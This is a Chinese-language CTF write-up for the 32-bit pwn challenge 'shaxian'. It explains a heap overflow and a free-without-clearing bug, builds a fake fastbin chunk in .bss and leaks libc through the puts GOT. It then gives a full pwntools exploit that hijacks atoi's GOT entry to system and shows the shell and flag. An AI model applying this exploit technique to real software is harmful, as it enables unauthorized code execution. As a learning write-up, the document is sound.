解题思路
保护机制
(ctf_pwn) root@u1604:/home/u1604/shaxian# readelf -h shaxian
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048560
Start of program headers: 52 (bytes into file)
Start of section headers: 8584 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 28
Section header string table index: 27
(ctf_pwn) root@u1604:/home/u1604/shaxian# checksec shaxian
[*] '/home/u1604/shaxian/shaxian'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞利用分析
通过逆向分析发现,在点菜的过程中存在堆溢出漏洞,如下所示:
int DianCai()
{
int *v0; // ebx
int v2; // [esp+1Ch] [ebp-Ch]
v2 = pointToHeap;
puts("CHI SHEN ME?");
puts("1.Banmian");
puts("2.Bianrou");
puts("3.Qingtangmian");
puts("4.Jianbao");
puts("5.Jianjiao");
pointToHeap = (int)malloc(0x28u); // 初始化堆空间的时候,大小是0x28,堆块最多写入0x2c
if ( !pointToHeap )
return puts("Error");
*(_DWORD *)(pointToHeap + 0x24) = v2;
get_input1(0, pointToHeap + 4, 0x3C, '\n'); // 此处输入菜品的时候可以输入0x3c个字节的数据
puts("How many?");
v0 = (int *)pointToHeap;
*v0 = get_input();
puts("Add to GOUWUCHE");
return GeShu++ + 1;
}
堆空间的溢出,分配的堆块只有0x24(实际大小0x28,最多写到0x2c),但是输入值可以写到0x3c
# 覆盖前
pwndbg> vis
0x804c000 0x00000000 0x00000031 ....1...
0x804c008 0x00000000 0x00000000 ........
0x804c010 0x00000000 0x00000000 ........
0x804c018 0x00000000 0x00000000 ........
0x804c020 0x00000000 0x00000000 ........
0x804c028 0x00000000 0x00000000 ........
0x804c030 0x00000000 0x00020fd1 ........ <-- Top chunk
# 覆盖后
pwndbg> vis
0x804c000 0x00000000 0x00000031 ....1...
0x804c008 0x00000000 0x61616161 ....aaaa
0x804c010 0x61616161 0x61616161 aaaaaaaa
0x804c018 0x61616161 0x61616161 aaaaaaaa
0x804c020 0x61616161 0x61616161 aaaaaaaa
0x804c028 0x61616161 0x61616161 aaaaaaaa
0x804c030 0x61616161 0x61616161 aaaaaaaa <-- Top chunk
pwndbg>
由于未开启地址随机化,程序关键位置指针和静态分析的是一致的,简单梳理一下程序的数据相关的结构体
始终指向最后点的那个菜的堆块的指针
.bss:0804B1C0 pointToHeap dd ? ; DATA XREF: DianCai+7↑r
.bss:0804B1C0 ; DianCai+63↑w ...
.bss:0804B1C4 align 20h
存储点菜信息的一个个堆块
pwndbg> vis
0x804c000 0x00000000 0x00000031 ....1... <- chunk0
0x804c008 0x00000010 0x00000031 ....1...
单个菜品的个数 点了什么菜的编号
0x804c010 0x00000000 0x00000000 ........
0x804c018 0x00000000 0x00000000 ........
0x804c020 0x00000000 0x00000000 ........
0x804c028 0x00000000 0x00000000 ........
记录上一个菜品堆块的指针(这里是第一个,所以没有前一个)
0x804c030 0x00000000 0x00000031 ....1... <- chunk1
0x804c038 0x00000010 0x00000031 ....1...
单个菜品的个数 点了什么菜的编号
0x804c040 0x00000000 0x00000000 ........
0x804c048 0x00000000 0x00000000 ........
0x804c050 0x00000000 0x00000000 ........
0x804c058 0x00000000 0x0804c008 ........
记录前一个菜的指针
0x804c060 0x00000000 0x00020fa1 ........ <-- Top chunk
pwndbg>
上面的堆块管理,组成了一个链表,后一个菜品,记录前一个菜品的位置,这个是shaxian
程序里面自己实现的一套堆块索引的机制
通过查看堆块的信息,发现堆块释放后是属于fastbin(0x30)
的
通过分析还发现在提交菜品的过程中释放了堆块,存在以下漏洞
int TiJiaoCaiDan()
{
void *ptr; // ST1C_4
_DWORD *v2; // [esp+18h] [ebp-10h]
v2 = (_DWORD *)pointToHeap;
if ( !GeShu )
return puts("DIANCAI first");
while ( v2 )
{
sub_8048999(v2);
ptr = v2;
v2 = (_DWORD *)v2[9];
free(ptr); // free后没有清空指针
}
return puts("Your order has been submitted!");
}
结合上述的两个漏洞和数据的组织规则,学习大佬的利用姿势,结合个人理解,梳理漏洞利用的方法:
通过功能4,回顾点菜信息的时候可以打印堆块中的点菜个数和点菜菜品信息,由于存在溢出漏洞,可以利用溢出,覆盖下一个堆块的“个数”信息或者“菜品”信息,然后回顾一下,在展示的时候我们就可以泄漏出libc
函数的地址,进而计算出libc
加载的基地址,再求出system
函数的地址。
由于保护机制未限制got
表的修改,所以利用上面泄漏出来的system
函数地址,劫持某个函数,将其got
表覆盖指向system
函数,但是这个题目中,无法单个free
某一个堆块,功能2在提交的时候会全部释放,且放入了fastbin
中,也不会合并,再次申请的时候还是原来的顺序,但是我们程序中有一段地址空间,刚好可以用来构造
.bss:0804B0C0 PhoneNum db 100h dup(?) ; DATA XREF: AddresPhone+52↑o
.bss:0804B0C0 ; HuiGu+8A↑o
.bss:0804B1C0 pointToHeap dd ? ; DATA XREF: DianCai+7↑r
.bss:0804B1C0 ; DianCai+63↑w ...
.bss:0804B1C4 align 20h
在最开始的电话号码的尾部刚好就是我们的关键指针,电话号码的长度最长是0x100
,恰好到pointToHeap
之前,所以我们可以构造一个假的堆块,将其链入到fastbin
中,再次申请的时候,申请堆块到0804B1C0
附近,这样能够控制向其他位置写数据,可使用FastbinAttack
,修改got
表数据,劫持函数,要是用FastbinAttack
方法,前面构造fake chunk
的布置就是关键的,布局的payload
如下
payload = b"a"*(0x100-0x10) + p32(0) + p32(0x31)
相当于是在pointToHeap
之前写了一个chunk
的头部,如果没有这个头部,在malloc
的时候会报错,这与fastbin
的检测机制有关.至于此处的电话号码区域的最后减去0x10大小,是因为在单个菜品堆块中,先写入的是菜品名称,在靠后的位置上,后写入的菜品个数在靠前的位置上,只减去0x8大小的话无法在下一步利用写入菜品个数的步骤中,使得pointToHeap
指向got
表函数,这些细节在具体调试的时候会体现出来
此题还有一个非常巧妙的地方,就是一般是劫持了某个函数之后,在某个可控或者已知的位置构造好/bin/sh
字符串,最终实现执行system("/bin/sh")
拿到shell
,但是这个题能够构造的地方只有pointToHeap
附近这里一处,且只能利用一次,并且无法在got
表附近构造堆块,需要利用源程序中的下面的片段修改got
表中的数据
*(_DWORD *)(pointToHeap + 0x24) = v2;
get_input1(0, pointToHeap + 4, 0x3C, '\n');
puts("How many?");
v0 = (int *)pointToHeap;
*v0 = get_input();
对应利用脚本中的如下片段
payload = b"a"*4 + p32(elf.got["atoi"])
diancai(payload,str(system_addr-0x100000000))
构造完成后,内存状态如下
pwndbg> x/20xw 0x0804B1C0-0x10
0x804b1b0: 0x00000000 0x00000031 0x00000000 0x61616161
0x804b1c0: 0x0804b038 0x00000000 0x00000000 0x00000000
pointToHeap指针
0x804b1d0: 0x00000000 0x00000000 0x00000000 0x0804c038
0x804b1e0: 0x74736574 0x00000000 0x00000000 0x00000000
0x804b1f0: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> x/20xw 0x0804b038
0x804b038 <atoi@got.plt>: 0xf7e4cdb0 0x00000000 0x00000000 0x00000000
0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b058: 0x00000000 0x00000000 0xf7fc5cc0 0xf7fc55a0
0x804b068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b078: 0x00000000 0x00000000 0xf7fc5d60 0x00000000
pwndbg>
可以发现此处通过点菜输入菜品的时候,从0x804b1bc
处开始,之后修改了pointToHeap
指针,使其指向atoi
函数的got
表,输入“菜品个数”的时候刚好写入的就是pointToHeap
所指向的位置,就是atoi
函数的got
表,只不过输入的数字变成了整型数,所以需要str(system_addr-0x100000000)
的转换
完成上述巧妙构造之后,再次执行功能选择的时候,atoi
函数用来转换功能编号,但是他已经被劫持成为了system
函数,只需要直接输入/bin/sh
字符串即可获得shell
函数
攻击脚本
from pwn import *
from LibcSearcher import *
import os
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
elf_path = 'shaxian'
arch = '32'
# libc_v = '2.27'
# ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
# libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
# libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
# libc_path = './libc.so.6'
# change ld path
# change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
# os.system(change_ld_cmd)
# remote server ip and port
server_ip = "0.0.0.0"
server_port = 0
# if local debug
LOCAL = 1
LIBC = 0
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
lsi = lambda x : log.success('\x1b[01;40;32;214m' + x + '\x1b[0m')
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io, "b *0x8048998\nb *0x0804894E\nb *0x080489F9")
def diancai(caipin, num):
sla("choose:", "1")
sla("5.Jianjiao", caipin)
sla("How many?", num)
def submitMenu():
sla("choose:", "2")
def taiTou():
sla("choose:", "3")
sla("Taitou:", "/bin/sh")
def huiGu():
sla("choose:", "4")
#--------------------------exploit--------------------------
def exploit():
heapPoint = 0x804B1C0
li('exploit...')
sla("Your Address:", "test")
payload = b"a"*(0x100-0x10) + p32(0) + p32(0x31)
sla("Your Phone number:", payload)
db()
diancai("1","16")
diancai("1","16")
diancai("1","16")
submitMenu()
lsi("puts got --> "+hex(elf.got["puts"]))
payload = b"a"*0x20 + p32(elf.got["puts"]-4)
payload += p32(0) + p32(0x31) + p32(heapPoint-0x10)
diancai(payload, "16")
huiGu()
ru(b"16\x0a")
puts_addr = u32(r(4))
lsi("Get puts address -> "+hex(puts_addr))
obj = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - obj.dump("puts")
system_addr = libcbase + obj.dump("system")
lsi("Get system address -> "+ hex(system_addr))
atoi_addr = libcbase + obj.dump("atoi")
lsi("Get atoi address -> "+ hex(atoi_addr))
diancai("1","16")
payload = b"a"*4 + p32(elf.got["atoi"])
diancai(payload,str(system_addr-0x100000000))
# diancai("1","16")
sla("choose:", "/bin/sh")
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
# io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
exploit()
finish()
执行情况
远程shell
[DEBUG] Sent 0x9 bytes:
00000000 61 61 61 61 38 b0 04 08 0a │aaaa│8···│·│
00000009
[DEBUG] Received 0x9 bytes:
b'How many?'
[DEBUG] Sent 0xb bytes:
b'-136320704\n'
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x54 bytes:
b'Add to GOUWUCHE\n'
b'1.WO YAO DIAN CAI\n'
b'2.Submit\n'
b'3.I want Receipt\n'
b'4.Review\n'
b'5.Exit\n'
b'choose:\n'
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x25 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'shaxian\n'
bin
dev
flag
lib
lib32
lib64
shaxian
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{6a194a39a4267205e1eac8461f60ab80}\n'
cyberpeace{6a194a39a4267205e1eac8461f60ab80}